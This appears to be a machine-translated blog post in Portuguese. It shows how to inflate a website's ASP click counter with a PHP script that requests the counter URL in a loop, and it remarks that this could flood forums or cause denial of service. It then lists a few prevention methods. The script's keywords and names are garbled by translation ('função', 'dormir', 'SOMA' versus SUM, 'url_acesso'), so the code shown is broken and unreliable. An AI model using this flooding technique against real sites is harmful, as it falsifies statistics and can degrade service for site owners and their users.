Hoje vi acidentalmente um site cujo contador pode ser atualizado em uma página estática. Achei que deveria ser feito usando js. Quando abri o código-fonte, descobri que era:
<div align=center><SPAN class=Article_tdbgall>.
Autor: Artigo desconhecido Fonte: Meidi.Net
Número de cliques:
<script idioma='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
Tempo de atualização: 2005-5-27</SPAN>
</div>
O número de cliques é seguido por um arquivo asp para processamento, então vou abrir esse arquivo e dar uma olhada:
document.write('210');
Certo, é o arquivo GetHists.asp que processa ArticleID e extrai os resultados e gera o número de vezes: document .write('number of times'), que pode ser referenciado diretamente na página estática.
Afinal, os bandidos são bandidos, então pensei: como posso aumentar rapidamente o número de cliques? A atualização manual não é muito útil. Bem, escreva rapidamente um programa PHP para acessar automaticamente este arquivo.
O código PHP é o seguinte:
<?php
/* access_url.php */
define(SUM, 1000); //Número de visitas necessárias
define(L_TIME, 1000); //Força o tempo de execução do script
define(S_TIME, 1); //Tempo de suspensão entre cada visita
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 " //O endereço a ser acessado
set_time_limit(L_TIME);
//Acesse a função URL especificada knowsky.com
função access_url($url)
{
if ($url=='') retornar falso;
$fp = fopen($url, 'r') ou exit('Open url falhou!');
se ($fp) {
enquanto (!feof($fp)) {
$arquivo = fgets($fp);
echo $arquivo."n<p> </p>n";
}
unset($arquivo);
}
}
//Teste
for ($i=0; $i<SOMA; $i++) {
url_acesso($url);
dormir(S_TIME);
}
?>
Execute o programa acima, então o endereço URL especificado será acessado continuamente e, naturalmente, o número de acessos continuará a aumentar, atingindo o efeito de inundação. Se o tráfego for grande e vários programas forem usados para executá-lo, é fácil obter um efeito de negação de serviço (DoS). Se a outra parte tomar medidas preventivas e modificar o código e submetê-lo ao fórum, é fácil conseguir o efeito de inundar o fórum.
Métodos de prevenção:
1. Use o mecanismo de Sessão no código Quando o usuário envia, um ID de Sessão é gerado. Ao enviar o conteúdo, é julgado se ele foi enviado.
2. Após o envio do usuário, o endereço IP do usuário será registrado. Se o usuário enviar novamente dentro do prazo especificado, nenhum envio adicional será permitido.
3. Depois que o usuário envia o conteúdo, um cookie é gravado no cliente do usuário. Se o usuário enviar novamente, verifique se há um cookie no cliente para determinar se o envio é permitido.
Existem muitas outras maneiras, você pode procurá-las ou usar sua imaginação para fazer melhor.